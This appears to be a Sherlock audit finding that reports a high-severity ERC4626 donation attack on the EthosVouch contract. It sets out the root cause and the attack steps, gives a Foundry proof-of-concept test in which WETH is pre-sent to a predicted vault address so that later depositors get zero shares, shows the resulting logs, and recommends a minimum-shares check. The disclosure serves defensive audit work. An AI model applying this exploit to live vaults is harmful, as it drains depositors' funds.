Skip to content

Latest commit

 

History

History
110 lines (84 loc) · 3.18 KB

File metadata and controls

110 lines (84 loc) · 3.18 KB

Mythical Mauve Monkey

High

ERC4626 Vault Donation Attack Leading to User Fund Loss

Summary

The EthosVouch function uses an ERC4626 vault to manage user deposits. An attacker can manipulate share values by directly transferring WETH to the vault before legitimate users deposit, resulting in unfairly low/zero share allocation for subsequent users.

Root Cause

In vouch the share amount of user get after deposit is not checked. https://github.com/sherlock-audit/2024-10-ethos-network/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L329

IEthosVaultETHUnderlying(vaultAddress).depositETH{ value: msg.value }(msg.sender); //@audit user get share amount is not checked

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1.predict the vault address 2.deposit some WETH to pool

Impact

subsequent users lost of deposit funds

PoC

test:

    function vouchByAddress(address sender,uint256 payamount,address subjectAddress,string memory comment,string memory metadata) public {
        vm.deal(sender,payamount);
        vm.prank(sender);
        (bool success, bytes memory data) = address(vouch).call{value: payamount}(
            abi.encodeWithSignature("vouchByAddress(address,string,string)", subjectAddress, comment, metadata));
        assert(success);
        calFee+=payamount;
    }

    function unvouch(address sender) public {
        (,,,uint256 profileId) = profile.profileStatusByAddress(sender);
        uint256[] memory countIds = vouch.getVouchCountIds(profileId);
        uint256 count;
        for(uint256 i;i<countIds.length;i++){
            if(count>0) continue;
            if(countIds[i]!=0) count = countIds[i];
        }
        if(countIds.length>0){
            uint256 balance = sender.balance;

            //cal redeem amount
            vm.prank(sender);
            vouch.unvouch(count);
            vm.prank(sender);
            vouch.markUnhealthy(count);
            assert(vouch.getBalanceByVouchId(count) == 0);
        }
    }

    function testUserVouchAndUnVouch() public {
        address predictVaultAddrs = address(0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e);
        vm.deal(address(this),1e15);
        weth.deposit{value:1e15}();
        weth.transfer(predictVaultAddrs, 1e15);

        //custom unit function for vouch
        vouchByAddress(address(0x10000),1e15,address(0x20000),"","");
        vouchByAddress(address(0x30000),1e15,address(0x20000),"","");
        vouchByAddress(address(0x40000),1e15,address(0x20000),"","");

        unvouch(address(0x10000));
        console2.log("1 remaining", address(0x10000).balance);
        unvouch(address(0x30000));
        console2.log("2 remaining", address(0x30000).balance);
        unvouch(address(0x40000));
        console2.log("3 remaining", address(0x40000).balance);
        console2.log("vault remaining", weth.balanceOf(predictVaultAddrs));
    }

shell:

ftv testUserVouchAndUnVouch

out:

Logs:
  user mint shares: 0
  user mint shares: 0
  user mint shares: 0
  1 remaining 0
  2 remaining 0
  3 remaining 0
  vault remaining 3940000000000000

Mitigation

Implement minimum shares received check